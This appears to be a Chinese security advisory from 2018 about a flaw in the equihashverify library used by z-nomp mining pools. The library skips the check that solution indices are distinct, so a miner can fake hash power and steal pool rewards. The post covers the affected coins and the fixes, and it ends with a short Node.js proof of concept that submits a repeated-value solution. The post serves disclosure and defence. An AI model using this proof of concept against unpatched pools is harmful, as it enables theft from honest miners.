黑客偽造算力盜取多種數字貨幣

FLy_鵬程萬里發表於2018-06-21

最近,360檢測了一種新型攻擊,黑客可以利用漏洞偽造算力,進而從礦池中竊取數字貨幣。經過分析,我們發現此類攻擊利用了一個equihash演算法(equihashverify:https://github.com/joshuayabut/equihashverify)實現上的邏輯漏洞。該漏洞可導致惡意礦工向z-nomp礦池提交虛假share,從而偽造自己的算力。從礦池中竊取誠實礦工的挖礦成果。由於目前許多新生數字貨幣均使用equihash演算法進行工作量證明,且多數equihash礦池依賴於該equihashverify進行礦工算力校驗,所以該漏洞嚴重已經影響多個數字貨幣礦池。

Equihash 是一種工作量證明演算法,由 Alex Biryukov 以及Dmitry Khovratovich設計而成,以一種電腦科學以及加密學概念(叫做廣義生日悖論)為基礎。 Equihash是一種需要高記憶體的工作量證明,這意味你能挖到多少幣主要取決於你的裝置記憶體的大小。在短期內要建立一個低成本的挖礦定製硬體(專用積體電路)幾乎不可能,所以Equihash被認為可以構造更去中心化的一種POW演算法。z-nomp在對Equihash工作量證明進行驗證的時候使用了equihashverify依賴庫來對礦工提交算力證明份額進行校驗。equihashverify對Equihash解驗證的錯誤實現,導致了該漏洞。

下面我們來看看漏洞:

在equi.c檔案中,在函式bool verifyEH(const char hdr, const char soln)中,hdr是區塊頭資訊,引數soln是礦工求解出來的{Xij}序列。verifyEH函式的作用,就是用來判斷{Xij}是否是由區塊頭資訊hdr產生的廣義生日悖論問題的正確解。


Equihash演算法的整體實現可以理解為將Xij序列帶入到

Vhash=hash(hdr,x1)^ hash(hdr,x2) ^…^. hash(hdr,x512);

然後判斷Vhash的結果是否全部為0。如果全部為0,則返回true;如果全部不為0,則返回false。這看似正確的實現,但實際上程式設計人員沒有考慮到:在廣義生日悖論問題中,所有的xij必須是不相同的。而這裡並沒有檢查是否由重複。對於任意區塊頭hdr,攻擊者只要讓所有的 xi全部相等,則得到結果:

hash(hdr,x1)=hash(hdr,x2) =…= hash(hdr,x512)

由於這裡剛好有偶數個,那麼可以得到:

Vhash=hash(hdr,x1)^ hash(hdr,x2) ^…^. hash(hdr,x512)=0

也就是說,對於任意hdr,攻擊者隨機選擇一個21bit的數x,讓後讓soln={x,x,x,…,x},就可以繞過廣義生日悖論問題驗證,從而實現高達數十萬倍的算力數虛構。由於equihashverify實現中缺乏equihash論文中的多種其他校驗演算法,所以除了這個簡單的碰撞攻擊之外,該程式碼還存在其他安全問題。密碼演算法的實現應嚴格按照演算法標準來進行,否則就容易出現安全漏洞。Equihash演算法標準詳細細節可參考論文:https://www.cryptolux.org/images/b/b9/Equihash.pdf

漏洞影響範圍

z-nomp是目前是目前市場佔有率最高的equihash礦池。此次偽造算力攻擊主要針對各個z-nomp或基於z-nomp的礦池例項,至少影響了包括Zcash、Bitcoin Gold、Zencash、Bitcoin Private、Zclassic、Komodo、Hush、BitcoinZ、Bitcoin Candy、NewBTG等多種數字貨幣。

當前修復情況

目前,z-nomp已經將了equihashverify庫的的依賴換成了官方認證的版本(https://github.com/zencashofficial/equihashverify.git)。zencash官方已在上週釋出更新公告:https://blog.zencash.com/update-for-the-equihash-mining-application-z-nomp/。 Bitcoin Gold官方也更新了新的equihashjs-verify。Zclassic/BTG/Zcash等主流數字貨幣和主流礦場均已修復了該實現漏洞。但由於數字貨幣分叉幣和程式碼fork非常多,所以仍存在眾多小數字貨幣和小礦池未修復該漏洞,360建議各數字貨幣社群和礦池及時更新。

解決方案

可使用目前zencash官方的equihash解校驗器的來進行廣義生日問題解校驗。https://github.com/zencashofficial/equihashverify

這裡提供一個簡單的POC:

var ev = require(‘bindings’)(‘equihashverify.node’);

header = Buffer(‘0400000008e9694cc2120ec1b5733cc12687b609058eec4f7046a521ad1d1e3049b400003e7420ed6f40659de0305ef9b7ec037f4380ed9848bc1c015691c90aa16ff3930000000000000000000000000000000000000000000000000000000000000000c9310d5874e0001f000000000000000000000000000000010b000000000000000000000000000040’, ‘hex’);

soln = Buffer(‘0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f’, ‘hex’);

console.log(ev.verify(header, soln));

相關文章